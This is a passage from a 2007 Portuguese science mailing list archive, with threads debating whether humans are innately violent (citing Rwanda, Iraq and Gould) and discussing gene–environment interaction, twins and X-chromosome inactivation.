>> hospedava não tem mais interesse no "Feira de Ciências" e o professor Léo
>> ainda não sabe o que acontecerá com o site.
>> Não seria possível que o Espaço Ciência ou outro órgão público se
>> responsabilidade pela hospedagem do site? A Associação Brasileira de
>> Museus Científicos não poderia fazer nada para contribuir com essa
>> lamentável situação, Pavão?
>>
>> O e-mail de contato do professor Léo é leobarretos@uol.com.br e o
>> endereço
>> do site (que ainda funciona, não sei até quando) é o
>> www.feiradeciencias.com.br
>>
>> Agradeço a atenção,
>>
>> PAULO MARCELO PONTES
>
>
>
> ------------------------------------------------------------------
> O Webmail da UFPE esta de cara nova.
> Serviço oferecido pelo Núcleo de Tecnologia da Informação
> http://www.nti.ufpe.br/
>



SUBJECT: Re: [ciencialist] Re: O ser humano é uma besta quadrada
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 08/09/2007 13:36

Certo. Mas uma coisa é ser um animal moderadamente agressivo que dispõe
apenas de arcos e flechas, armas que exigem força, destreza e treinamento.
Outra coisa é ser um animal moderadamente agressivo que dispõe de
metralhadoras e rifles automáticos, armas que exigem pouco para fazer um
grande estrago. E o que acontece quando uma sociedade que dispõe de armas de
fogo tem seu tecido social repentinamente rompido? Resposta: Ruanda.
Resultado: 1 milhão de mortos em um país de pouco menos de 7 milhões de
habitantes, à época. Assassinato suficiente para mim.

[ ]s

Alvaro Augusto de Almeida
http://www.alvaroaugusto.com.br
alvaro@lunabay.com.br





----- Original Message -----
From: "oraculo333" <oraculo@atibaia.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Saturday, September 08, 2007 2:07 AM
Subject: [ciencialist] Re: O ser humano é uma besta quadrada


Olá pessoal

Kentaro: "O Mito do Homem Assassino
> Um dos erros mais perigosos de nosso tempo é a crença de que os seres
> humanos são animais unicamente violentos, escassamente contidos de
> cometer atrocidades uns aos outros pelas restrições da ética, da
> religião e do estado. Pode parecer estranho a alguns contrariar isto
> dado o fluxo aparentemente incessante de relatos de atrocidades da
> Bósnia, Somália, Líbano e Los Angeles que nós recebemos diariamente.
> Mas, na realidade, um pequeno estudo de etologia animal (e alguma
> aplicação de métodos etológicos no comportamento humano) basta para
> mostrar à mente imparcial que os seres humanos não são animais
> especialmente violentos."

Mais ainda, bastaria um simples exame estatístico dos atos violentos
versus atos não violentos em nossa vida diária. Por exemplo,
recentemente em minha cidade foi noticia durante quase um mês o
assassinato de uma criança pelo padastro (um criminoso reincidente).

Esse ato violento chegou na mídia imediatamente e se manteve por algum
tempo, provocando a revolta da cidade. Entretanto, o fato de que os
mais de 100 mil habitantes da cidade NÃO cometeram nenhum ato de
violência desse tipo contra crianças, em décadas, não tem a menor
chance de aparecer na mídia.

Até mesmo o fato de que o ato de violência choca a maioria das
pessoas, demonstra que a maioria das pessoas não se sente bem com atos
de violência.

Não estou diminuindo a importância desses atos, mas apenas notando que
mesmo no Iraque o número de pessoas que morre em atentados é
absurdamente menor do que o número de pessoas que vive suas vidas sem
problemas. É justamente o fato de que nos outros países não se morre
em atentados diários que torna o Iraque uma notícia triste, mas não
representa uma evidência da maldade natural ou inevitável do ser humano.

Evolutivamente, nosso comportamento tende a seguir o padrão de animais
gregários, a colaboração e o cuidado com outros do mesmo grupo.
Tendemos a ajudar, agir em grupo, e construir com ajuda do grupo, seja
em uma caçada coletiva, seja na formação das sociedades.

Um abraço.

Homero.



SUBJECT: RE: [ciencialist] Re: O ser humano é uma besta quadrada
FROM: murilo filo <avalanchedrive@hotmail.com>
TO: <ciencialist@yahoogrupos.com.br>, <avalanchedrive@hotmail.com>
DATE: 08/09/2007 20:14


Vou falar do ponto de vista filosófico e bem antigo, sem grande preocupação com a coletividade.

É no nível da individualidade, onde está a maior diferença entre nós e os animais, é que cabe uma belíssima imagem figurativa.

Trata-se da esfinge, onde se vê a composição de duas partes opostas e mesmo conflitantes, representando o que *pode ser* um ser humano.

Variam muito, em amplitude e massa, ambas as partes componentes desta famosa dicotomia, ou composição de antagônicos.

É fácil de ser imaginado, e a toda hora visto muito desequilíbrio p/a parte animal... mesmo em ''gente equilibrada'', ou ''evoluída'', alí está a parte animal, mais pesada, objetiva, forte e agressiva, absolutamente necessária à sobrevivência.

O leão emerge de forma mais ou menos civilizada e até muito descontrolada, dependendo de muitas outras coisas.

O maior dos filósofos, dos intelectuais, dos santos ou do que mais possa ser, tem dentro de sí um puta leão... queira ou não... um leão que se basta e que sabe muito o que fazer p/manter sua vida básica e primária, de pura lógica prática.

Essa é uma abstração fácil de ser vista e digerida... todos nós poderemos ver a esfinge em nossas pessoas!

O mais difícil é reconhecermos que à esfinge, como um todo, caberá sempre a evolução, já que enorme longa distância para o equilíbrio perfeito está mais do que evidente... a natureza selvagem é muito forte.

É, também evidente, para alguns, que dificilmente o maior equilíbrio E EVOLUÇÃO serão alcançados só pela maior intelectualidade, pela cultura, educação, ambiente e outras ferramentas assim.

Boa sorte. Murilo SP 08/setb07
> Date: Sat, 8 Sep 2007 03:48:47 +0300> Subject: RE: [ciencialist] Re: O ser humano é uma besta quadrada> > > Me admira a discussão!> O home não é uma besta quadrada...> O homem é um besta cúbica e total...> Todos com QI de 2 dígitos sabemos isso.> Somos uma experiência crônica e ambulante, com a auto-segurança de gênios e sem o domínio do querer, das emoções e das consequências...> Já ouví isso: somos como os vírus, que destroem seu hospedeiro.> Poderia dizer mais, mas sei que não vai passar.> abr/M. SP 07/set/07> ( as partes... patatí-patatá...)>
To: ciencialist@yahoogrupos.com.br> >

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: P/ Alvaro - Re: O ser humano é uma besta quadrada
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/09/2007 23:55

Olá Alvaro

Alvaro: " Certo. Mas uma coisa é ser um animal moderadamente agressivo
que dispõe apenas de arcos e flechas, armas que exigem força, destreza
e treinamento.
Outra coisa é ser um animal moderadamente agressivo que dispõe de
metralhadoras e rifles automáticos, armas que exigem pouco para fazer
um grande estrago. "

Tem toda razão, há uma enorme diferença em termos de capacidade de
dano quando se dispõe de tecnologia avançada. Um psicopata assassino
entre indivíduos de boa índole, em uma sociedade primitiva, tinha
alcance limitado, e seria abatido antes de causar danos extensos.
Mesmo que conseguisse cometer dezenas de assassinatos, não seria
relevante para o grupo como um todo.

Mas um psicopata com tecnologia, bombas e terroristas por exemplo,
causam dano gigantescos, que podem inclusive causar uma ruptura
impossível de ser reparada.

Eu não estava, entretanto, e penso que o Kentaro também não,
discordando dessa situação concreta, mas sim da posição recorrente
sobre a natureza daninha do ser humano, da alegação que a crueldade e
violência seriam parte da natureza humana.

O fato de que pessoas cruéis e violentas causem enorme dano a partir
das capacidades tecnológicas atuais, não significa que seja um
comportamento padrão ou mesmo natural. Me parece que há mais gente
tentando ajudar, em ONGs, em organizações como médicos sem fronteira,
cruz vermelha, doações para países pobres, etc, que terroristas.

Claro que uma ação terrorista tem muito mais chance de aparecer com
destaque na mídia, que os trabalhos diários dos médicos sem fronteira
e claro que nós também sofremos mais e prestamos mais atenção a esses
atos terroristas que as ações benéfica. Afinal, é da natureza humana
ser assim..:-)

Será sempre mais fácil encontrar que se disponha a ajudar a arrecadar
alimentos para um orfanato, que quem se disponha a ir assaltar um
mercado com você, mas o assalto será sempre mais impactante, e mais
emocionalmente significativo que a ajuda ao orfanato.

Penso que a civilização atual só se tornou possível porque é assim,
porque a natureza humana é solidária, gregária, grupal. Se fossemos
diferentes, se o egoísmo fosse a norma, não teria sido possível
avançar das tribos ancestrais, inimigas e sempre em conflito por
território e alimentos, até um tempo onde uma idéia como a ONU, as
nações unidas, fosse possível. Sim, eu sei que a ONU ainda não tem
significancia real ou ampla, mas a simples existência desta idéia, de
uma unidade entre povos e sociedades humanas, só pode surgir se a
grande maioria das pessoas a aceitar de bom grado.

Um abraço.

Homero





--- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(L\)"
<alvaro@...> escreveu
>
> Certo. Mas uma coisa é ser um animal moderadamente agressivo que dispõe
> apenas de arcos e flechas, armas que exigem força, destreza e
treinamento.
> Outra coisa é ser um animal moderadamente agressivo que dispõe de
> metralhadoras e rifles automáticos, armas que exigem pouco para
fazer um
> grande estrago. E o que acontece quando uma sociedade que dispõe de
armas de
> fogo tem seu tecido social repentinamente rompido? Resposta: Ruanda.
> Resultado: 1 milhão de mortos em um país de pouco menos de 7 milhões de
> habitantes, à época. Assassinato suficiente para mim.
>
> [ ]s
>
> Alvaro Augusto de Almeida
> http://www.alvaroaugusto.com.br
> alvaro@...
>
>
>
>
>
> ----- Original Message -----
> From: "oraculo333" <oraculo@...>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Saturday, September 08, 2007 2:07 AM
> Subject: [ciencialist] Re: O ser humano é uma besta quadrada
>
>
> Olá pessoal
>
> Kentaro: "O Mito do Homem Assassino
> > Um dos erros mais perigosos de nosso tempo é a crença de que os seres
> > humanos são animais unicamente violentos, escassamente contidos de
> > cometer atrocidades uns aos outros pelas restrições da ética, da
> > religião e do estado. Pode parecer estranho a alguns contrariar isto
> > dado o fluxo aparentemente incessante de relatos de atrocidades da
> > Bósnia, Somália, Líbano e Los Angeles que nós recebemos diariamente.
> > Mas, na realidade, um pequeno estudo de etologia animal (e alguma
> > aplicação de métodos etológicos no comportamento humano) basta para
> > mostrar à mente imparcial que os seres humanos não são animais
> > especialmente violentos."
>
> Mais ainda, bastaria um simples exame estatístico dos atos violentos
> versus atos não violentos em nossa vida diária. Por exemplo,
> recentemente em minha cidade foi noticia durante quase um mês o
> assassinato de uma criança pelo padastro (um criminoso reincidente).
>
> Esse ato violento chegou na mídia imediatamente e se manteve por algum
> tempo, provocando a revolta da cidade. Entretanto, o fato de que os
> mais de 100 mil habitantes da cidade NÃO cometeram nenhum ato de
> violência desse tipo contra crianças, em décadas, não tem a menor
> chance de aparecer na mídia.
>
> Até mesmo o fato de que o ato de violência choca a maioria das
> pessoas, demonstra que a maioria das pessoas não se sente bem com atos
> de violência.
>
> Não estou diminuindo a importância desses atos, mas apenas notando que
> mesmo no Iraque o número de pessoas que morre em atentados é
> absurdamente menor do que o número de pessoas que vive suas vidas sem
> problemas. É justamente o fato de que nos outros países não se morre
> em atentados diários que torna o Iraque uma notícia triste, mas não
> representa uma evidência da maldade natural ou inevitável do ser humano.
>
> Evolutivamente, nosso comportamento tende a seguir o padrão de animais
> gregários, a colaboração e o cuidado com outros do mesmo grupo.
> Tendemos a ajudar, agir em grupo, e construir com ajuda do grupo, seja
> em uma caçada coletiva, seja na formação das sociedades.
>
> Um abraço.
>
> Homero.
>




SUBJECT: Re: O ser humano é uma besta quadrada
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/09/2007 07:28

Oi Kentaro, Oráculo, Augusto, Murilo e que tais,

Ok, eu estava pessimisticamente alterado quando escrevi o texto
abaixo: tinha acabado de brigar com um cunhado meu e dito coisas
terríveis!

Há um ensaio interessante do Stephen Gould a respeito da
questão, "Dez Mil Gestos de Delicadeza" (inserto na coletânea "Dedo
Mindinho e Seus Vizinhos, Cia. das Letras, 1993). Ele escreve:

"(...) a maioria de nossas interações com as outras pessoas são no
mínimo neutras, muitas vezes bastante agradável. o 'Homo sapiens' é
uma espécie notavelmente afável (...) Por que, então, a maioria de
nós tem a impressão de que as pessoas são tão agressivas, e
intrinsecamente desagradáveis? A resposta, creio eu, reside na
assimetria dos efeitos (...) Infelizmente, cada incidente de
violência é capaz de anular dez mil gestos de gentileza, e esquecemos
com facilidade o predomínio da bondade sobre a agressividade quando
confundimos o efeito com a freqüência. (...) Um assassinato pode
converter uma cidadezinha agradável, cheia de confiança, num lugar
dominado pelo medo, em que as pessoas se escondem por trás das portas
trancadas, desconfiando de tudo e com medo de sair à noite. A
gentileza é tão frágil, tão fácil de apagar; a violência é tão
poderosa."

Entretanto, há estudos antropológicos que indicam que cerca de 30%
dos indivíduos das comunidades de caçadores-coletores e mesmo
neolíticas morrem em decorrência da violência intra-específica,
mormente intergrupal. Esse índice é idêntico ao dos chimpanzés!
(ver "O Macho Demoníaco", de Richard Wrangham e Dale Peterson).

Estou pesquisando e estudando muito tendo em vista um ensaio que
estou escrevendo, "A Eloqüência do Ódio" (título provisório). Às
vezes, me bate um desespero, uma tristeza... (re)lendo textos de
vários autores que tratam dos expurgos de Moscou, senti ânsia de
vômito, e isso não uma metáfora.

Um exemplo:

<<No antigo "Estado Livre do Congo" (1877 – 1908), na verdade uma
gigantesca fazenda com 234.393.924 hectares de propriedade do Rei
Leopoldo II da Bélgica, durante a exploração comercial do marfim e da
borracha foram eliminados, com apuros de crueldade – decapitação,
decepamento das mãos etc. – cerca de dez milhões de nativos, número
maior que o dos judeus assassinados no Holocausto (a Enciclopédia
Britânica estima que, neste período, a população do Congo declinou de
vinte ou trinta milhões para apenas oito milhões).>>

[]s
Manuel Bulcão
___________________

--- Em ciencialist@yahoogrupos.com.br, "Kentaro Mori"
<kentaro.mori@...> escreveu
>
> On 9/7/07, Manuel Bulcão <manuelbulcao@...> wrote:
> > Eu queria compartilhar do otimismo do Takata, mas, no dia-a-dia,
> > deparo-me muito mais com situações deprimentes. Estou quase a
> > concordar com Loren Eiseley, quando escreveu: "não confiaremos em
> > ninguém. O homem é a maldade. O homem é um animal. Veio das
trevas
> > dos bosques e das cavernas."
> >>>
>
> Hmmm...
>
> - O Mito do Homem Assassino
> Um dos erros mais perigosos de nosso tempo é a crença de que os
seres
> humanos são animais unicamente violentos, escassamente contidos de
> cometer atrocidades uns aos outros pelas restrições da ética, da
> religião e do estado. Pode parecer estranho a alguns contrariar isto
> dado o fluxo aparentemente incessante de relatos de atrocidades da
> Bósnia, Somália, Líbano e Los Angeles que nós recebemos diariamente.
> Mas, na realidade, um pequeno estudo de etologia animal (e alguma
> aplicação de métodos etológicos no comportamento humano) basta para
> mostrar à mente imparcial que os seres humanos não são animais
> especialmente violentos.
> http://www.ceticismoaberto.com/ciencia/homemassassino.htm
>
> Abraços,
>
> Mori
>




SUBJECT: Re: Identificação Humana
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/09/2007 08:31

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
escreveu
> Como Itabajara Vaz destacou, o útero *é* o ambiente de desenvolvimento
> do embrião e do feto (nos eutérios, claro). A idéia de ambiente na
> verdade é ainda mais abrangente - o interior celular faz parte do
> ambiente da expressão gênica, na verdade até outros genes fazem parte
> do ambiente de um determinado gene.

Manuel: Realmente, não se deve confundir "congênito" com "genético".

Certa vez, li que clones de gato (com o mesmíssimo genótipo) não raro
apresentam padrões diferentes de coloração dos pêlos.

Th. Dobzhansky escreveu que o ambiente deve ser entendido de forma mais
ampla. Com efeito, vivemos em quadro ambientes justapostos: ambiente
físico, ambiente biótico, ambiente cultural e ambiente genético.

[]s,
Manuel Bulcão



SUBJECT: Re: [ciencialist] Re: Identificação Humana
FROM: Itabajara Vaz - UFRGS <ita@cbiot.ufrgs.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/09/2007 09:49

Ola,
Não so de gatos, mas de qualquer espécie, pois o padrão de pelagem não
tem um gene e sim é a combinação da expressão de genes e interação com o
ambiente.
ita

Manuel Bulcão escreveu:
> --- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
> escreveu
>
>> Como Itabajara Vaz destacou, o útero *é* o ambiente de desenvolvimento
>> do embrião e do feto (nos eutérios, claro). A idéia de ambiente na
>> verdade é ainda mais abrangente - o interior celular faz parte do
>> ambiente da expressão gênica, na verdade até outros genes fazem parte
>> do ambiente de um determinado gene.
>>
>
> Manuel: Realmente, não se deve confundir "congênito" com "genético".
>
> Certa vez, li que clones de gato (com o mesmíssimo genótipo) não raro
> apresentam padrões diferentes de coloração dos pêlos.
>
> Th. Dobzhansky escreveu que o ambiente deve ser entendido de forma mais
> ampla. Com efeito, vivemos em quadro ambientes justapostos: ambiente
> físico, ambiente biótico, ambiente cultural e ambiente genético.
>
> []s,
> Manuel Bulcão
>
>
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Predio 43421 - Campus do Vale
91501-970 Porto Alegre RS Brasil
Fone (51) 33086078 Fax (51)3308-73-09 [00 55 51 3308 7309]
http://www.ufrgs.br/depbiot/201/cbt201.htm
http://www.ufrgs.br/favet/imunovet



[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Identificação Humana
FROM: "Danniel Soares" <dannielsc@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/09/2007 19:24

Ouvi dizer que o silenciamento de genes "redundantes" (homólogos, nos
quais apenas um dos dois é expresso, mas não por recessividade do
outro) nos dois cromossomos é em muitos casos aleatório (acho que não
sempre, afinal tem aquela coisa toda da estampagem genômica
inviabilizando partenotos em humanos e na maioria dos mamíferos,
talvez todos conhecidos, exceto com intervenção em laboratório).

Se esse silenciamento ocorre depois da divisão do embrião em gêmeos
(o que eu não sei se é o caso), acho que poderia resultar numa
diferença de certa forma "genética" entre gêmeos, o que incluiria
possivelmente diferenças nas impressões digitais. Mulheres gêmeas
possivelmente seriam mais diferentes que homens, pela maior área de
homologia nos cromossomos X.

Isso *além* do ambiente uterino e demais "eventos celulares" que
podem diferir microscopicamente individualmente, mas ter um efeito
coletivo/cumulativo um tanto maior no fim das contas.

Mas alguém saberia me dizer se o que disse antes é isso mesmo, ou se
esse silenciamento geralmente ocorreria antes da divisão do embrião,
sendo herdado pelo gêmeo?


Danniel Soares




SUBJECT: Re: Identificação Humana
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/09/2007 23:38

--- Em ciencialist@yahoogrupos.com.br, Itabajara Vaz - UFRGS <ita@...>
> Não so de gatos, mas de qualquer espécie, pois o padrão de pelagem
> não tem um gene e sim é a combinação da expressão de genes e
> interação com o ambiente.

Na verdade *toda* característica biológica é fruto da interação entre
genes e ambiente.

Algumas características podem ter sua *variância" ligada mais à
*variância* de fatores ambientais ou genéticos. Mas a característica
em si é determinada pela interação entre ambos.

[]s,

Roberto Takata



SUBJECT: Re: Identificação Humana
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/09/2007 03:36

A inativação do cromossomo X nas fêmeas é aleatório e ocorre em uma
etapa em q o embrião chamada de blastocisto - contando com algumas
dezenas de células.

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Danniel Soares"
> Mas alguém saberia me dizer se o que disse antes é isso mesmo, ou se
> esse silenciamento geralmente ocorreria antes da divisão do embrião,
> sendo herdado pelo gêmeo?




SUBJECT: Re: [ciencialist] Re: Identificação Humana
FROM: Itabajara Vaz - UFRGS <ita@cbiot.ufrgs.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/09/2007 06:14

Ola,
Eu estava me referendo ao fato que podemos, por exemplo, clonar o
expressar o gene de uma proteína, mas não podemos clonar e expressar o
gene do padrão de pelagem. O padrão, entre outras, é uma característica
da interação de muitos genes e não especificamente de um gene.
ita

rmtakata escreveu:
> --- Em ciencialist@yahoogrupos.com.br, Itabajara Vaz - UFRGS <ita@...>
>
>> Não so de gatos, mas de qualquer espécie, pois o padrão de pelagem
>> não tem um gene e sim é a combinação da expressão de genes e
>> interação com o ambiente.
>>
>
> Na verdade *toda* característica biológica é fruto da interação entre
> genes e ambiente.
>
> Algumas características podem ter sua *variância" ligada mais à
> *variância* de fatores ambientais ou genéticos. Mas a característica
> em si é determinada pela interação entre ambos.
>
> []s,
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> Roberto Takata
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SUBJECT: Re: [ciencialist] Re: Identificação Humana
FROM: Itabajara Vaz - UFRGS <ita@cbiot.ufrgs.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/09/2007 06:22

Ola,
A inativação não é aleatória, entre muitos exemplos
http://www.ncbi.nlm.nih.gov/sites/entrez?cmd=Retrieve&db=PubMed&list_uids=2090431&dopt=AbstractPlus
abracos
iTA

rmtakata escreveu:
> A inativação do cromossomo X nas fêmeas é aleatório e ocorre em uma
> etapa em q o embrião chamada de blastocisto - contando com algumas
> dezenas de células.
>
> []s,
>
> Roberto Takata
>
> --- Em ciencialist@yahoogrupos.com.br, "Danniel Soares"
>
>> Mas alguém saberia me dizer se o que disse antes é isso mesmo, ou se
>> esse silenciamento geralmente ocorreria antes da divisão do embrião,
>> sendo herdado pelo gêmeo?
>>
>
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SUBJECT: Re: [ciencialist] P/ Alvaro - Re: O ser humano é uma besta quadrada
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/09/2007 09:02

Acho difícil falar a nível de cmportamento biologicamente estimulado, quando
falamos de sociedades tã complexas. Qualquer estímulo biológico perde ou
deixa de fazer sentido, quando falamos de guerras e massacres que só
ocorreram porque havia uma situação/ambiente político insano onde foram
geradas essas situações.

Em Ruanda, o preconceito socialmente condicionado e amplificado levou
áquela onda de assassinatos, inclusive com armas de relativamente baixa
tecnologia (se não me engano havia a proibição da venda de armas , por
isso o grupo que levou adiante os ataques massivos recorreu áos facões,
comprados aos caminhões.
Seria preciso conhecer um pouco mais da história da interação entre hutus e
tutsis pra conseguir analisar mais a fundo a situação. Mas certamente havia
rádios que estimulavam preconceito atroz entre esses (ou seja, presença da
mídia reforçando ou amplificando preconceitos )


Na Palestina/Israel, há outro exemplo de ódio culturalmente criado e/ou
amplificado. Mas nesse caso , trata-se de uma cultura criada pelo atrito
contínuo gerado nos últimos 50 anos, no decorrer da história da região
(desconfio que Ruanda tenha alguns elementos historicos parecidos). Antes
desse desenvolvimjento pós 2ª guerra, era possível viver de maneira
relativamente pacífica, na Palestina

No caso do Iraque, uma cúpula, com um nº pequeno de pessoas, atendendo aos
anseios de outro grupo, também ridiculamente pequeno, tomou a decisão de ir
á guerra, mesmo com protesto de pelo menos metade da população americana
(que não é, de maneira alguma, isenta da influência da mídia e do
preconeito, mas já estava calejada com guerras estúpidas).
Só foi possível ir á guerra porque outra parte da população, essa
com grande nº de americanos,
acreditava nas teorias preconceituosas divulgadas sem maiores
questionamentos, pela mídia.
Ou seja, mesmo o pouco apoio que essa guerra especificamente, teve,
havia o elemento
mídia/cultura envolvido.

Enfim... acho que trata-se do desenvolvimento de situações explosivas, a
partir de culturas envenenadas pelo preconceito , ambição, sede de poder..
que por sua vez podem ser amplificados por centros de poder/mídia... e la
nave va...

Não acredito em genes da ruindade nos seres humanos. Mas acredito qeu há
problemas sistêmicos que surgem em muitas sociedades, justamente por não
seream analisados mais profundamente.

Gil

Homero: Não sei como vc tá de inglês, mas recomendo o documentário "Power of
Nightmares" (http://www.youtube.com/watch?v=InW5vIc2xNQ&mode=related&search=),
justamente sobre a imagem falsa que temos do terrorismo (termo que é usado
de maneira completamente des-semantizada, nos dias atuais). Há legendas em
português inclusive. Esse fenômeno, da maneira como nos é apresentado hoje
pela mídia, é indissociável da história recente de vários países do oriente
médio. Sem isso, o termo perde completamente a essência do problema, e vira
uma imagem vazia, somente estética.

Em 08/09/07, oraculo333 <oraculo@atibaia.com.br> escreveu:
>
> Olá Alvaro
>
> Alvaro: " Certo. Mas uma coisa é ser um animal moderadamente agressivo
> que dispõe apenas de arcos e flechas, armas que exigem força, destreza
> e treinamento.
> Outra coisa é ser um animal moderadamente agressivo que dispõe de
> metralhadoras e rifles automáticos, armas que exigem pouco para fazer
> um grande estrago. "
>
> Tem toda razão, há uma enorme diferença em termos de capacidade de
> dano quando se dispõe de tecnologia avançada. Um psicopata assassino
> entre indivíduos de boa índole, em uma sociedade primitiva, tinha
> alcance limitado, e seria abatido antes de causar danos extensos.
> Mesmo que conseguisse cometer dezenas de assassinatos, não seria
> relevante para o grupo como um todo.
>
> Mas um psicopata com tecnologia, bombas e terroristas por exemplo,
> causam dano gigantescos, que podem inclusive causar uma ruptura
> impossível de ser reparada.
>
> Eu não estava, entretanto, e penso que o Kentaro também não,
> discordando dessa situação concreta, mas sim da posição recorrente
> sobre a natureza daninha do ser humano, da alegação que a crueldade e
> violência seriam parte da natureza humana.
>
> O fato de que pessoas cruéis e violentas causem enorme dano a partir
> das capacidades tecnológicas atuais, não significa que seja um
> comportamento padrão ou mesmo natural. Me parece que há mais gente
> tentando ajudar, em ONGs, em organizações como médicos sem fronteira,
> cruz vermelha, doações para países pobres, etc, que terroristas.
>
> Claro que uma ação terrorista tem muito mais chance de aparecer com
> destaque na mídia, que os trabalhos diários dos médicos sem fronteira
> e claro que nós também sofremos mais e prestamos mais atenção a esses
> atos terroristas que as ações benéfica. Afinal, é da natureza humana
> ser assim..:-)
>
> Será sempre mais fácil encontrar que se disponha a ajudar a arrecadar
> alimentos para um orfanato, que quem se disponha a ir assaltar um
> mercado com você, mas o assalto será sempre mais impactante, e mais
> emocionalmente significativo que a ajuda ao orfanato.
>
> Penso que a civilização atual só se tornou possível porque é assim,
> porque a natureza humana é solidária, gregária, grupal. Se fossemos
> diferentes, se o egoísmo fosse a norma, não teria sido possível
> avançar das tribos ancestrais, inimigas e sempre em conflito por
> território e alimentos, até um tempo onde uma idéia como a ONU, as
> nações unidas, fosse possível. Sim, eu sei que a ONU ainda não tem
> significancia real ou ampla, mas a simples existência desta idéia, de
> uma unidade entre povos e sociedades humanas, só pode surgir se a
> grande maioria das pessoas a aceitar de bom grado.
>
> Um abraço.
>
> Homero
>
>
>
>
>
> --- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(L\)"
> <alvaro@...> escreveu
> >
> > Certo. Mas uma coisa é ser um animal moderadamente agressivo que dispõe
> > apenas de arcos e flechas, armas que exigem força, destreza e
> treinamento.
> > Outra coisa é ser um animal moderadamente agressivo que dispõe de
> > metralhadoras e rifles automáticos, armas que exigem pouco para
> fazer um
> > grande estrago. E o que acontece quando uma sociedade que dispõe de
> armas de
> > fogo tem seu tecido social repentinamente rompido? Resposta: Ruanda.
> > Resultado: 1 milhão de mortos em um país de pouco menos de 7 milhões de
> > habitantes, à época. Assassinato suficiente para mim.
> >
> > [ ]s
> >
> > Alvaro Augusto de Almeida
> > http://www.alvaroaugusto.com.br
> > alvaro@...
> >
> >
> >
> >
> >
> > ----- Original Message -----
> > From: "oraculo333" <oraculo@...>
> > To: <ciencialist@yahoogrupos.com.br>
> > Sent: Saturday, September 08, 2007 2:07 AM
> > Subject: [ciencialist] Re: O ser humano é uma besta quadrada
> >
> >
> > Olá pessoal
> >
> > Kentaro: "O Mito do Homem Assassino
> > > Um dos erros mais perigosos de nosso tempo é a crença de que os seres
> > > humanos são animais unicamente violentos, escassamente contidos de
> > > cometer atrocidades uns aos outros pelas restrições da ética, da
> > > religião e do estado. Pode parecer estranho a alguns contrariar isto
> > > dado o fluxo aparentemente incessante de relatos de atrocidades da
> > > Bósnia, Somália, Líbano e Los Angeles que nós recebemos diariamente.
> > > Mas, na realidade, um pequeno estudo de etologia animal (e alguma
> > > aplicação de métodos etológicos no comportamento humano) basta para
> > > mostrar à mente imparcial que os seres humanos não são animais
> > > especialmente violentos."
> >
> > Mais ainda, bastaria um simples exame estatístico dos atos violentos
> > versus atos não violentos em nossa vida diária. Por exemplo,
> > recentemente em minha cidade foi noticia durante quase um mês o
> > assassinato de uma criança pelo padastro (um criminoso reincidente).
> >
> > Esse ato violento chegou na mídia imediatamente e se manteve por algum
> > tempo, provocando a revolta da cidade. Entretanto, o fato de que os
> > mais de 100 mil habitantes da cidade NÃO cometeram nenhum ato de
> > violência desse tipo contra crianças, em décadas, não tem a menor
> > chance de aparecer na mídia.
> >
> > Até mesmo o fato de que o ato de violência choca a maioria das
> > pessoas, demonstra que a maioria das pessoas não se sente bem com atos
> > de violência.
> >
> > Não estou diminuindo a importância desses atos, mas apenas notando que
> > mesmo no Iraque o número de pessoas que morre em atentados é
> > absurdamente menor do que o número de pessoas que vive suas vidas sem
> > problemas. É justamente o fato de que nos outros países não se morre
> > em atentados diários que torna o Iraque uma notícia triste, mas não
> > representa uma evidência da maldade natural ou inevitável do ser humano.
> >
> > Evolutivamente, nosso comportamento tende a seguir o padrão de animais
> > gregários, a colaboração e o cuidado com outros do mesmo grupo.
> > Tendemos a ajudar, agir em grupo, e construir com ajuda do grupo, seja
> > em uma caçada coletiva, seja na formação das sociedades.
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> > Um abraço.
> >
> > Homero.
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SUBJECT: Re: [ciencialist] P/ Alvaro - Re: O ser humano é uma besta quadrada
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/09/2007 09:07

Em tempo: "Esse fenômeno, da maneira como nos é apresentado hoje pela mídia,
*para ser melhor compreendido, deve ser analisado á luz * da história
recente de vários países do oriente médio. Sem isso, o termo perde
completamente a essência , e vira uma imagem vazia, somente estética."

"No caso do Iraque, uma cúpula, com um nº pequeno de pessoas (a
administração americana), atendendo aos anseios de outro grupo, também
ridiculamente pequeno (industria do petróleo, armas, radicais religiosos,
etc), tomou a decisão de ir á guerra"
Gil
Em 10/09/07, Gil <nanolink01@gmail.com> escreveu:
>
> Acho difícil falar a nível de cmportamento biologicamente estimulado,
> quando falamos de sociedades tã complexas. Qualquer estímulo biológico perde
> ou deixa de fazer sentido, quando falamos de guerras e massacres que só
> ocorreram porque havia uma situação/ambiente político insano onde foram
> geradas essas situações.
>
> Em Ruanda, o preconceito socialmente condicionado e amplificado levou
> áquela onda de assassinatos, inclusive com armas de relativamente baixa
> tecnologia (se não me engano havia a proibição da venda de armas , por
> isso o grupo que levou adiante os ataques massivos recorreu áos facões,
> comprados aos caminhões.
> Seria preciso conhecer um pouco mais da história da interação entre hutus
> e tutsis pra conseguir analisar mais a fundo a situação. Mas certamente
> havia rádios que estimulavam preconceito atroz entre esses (ou seja,
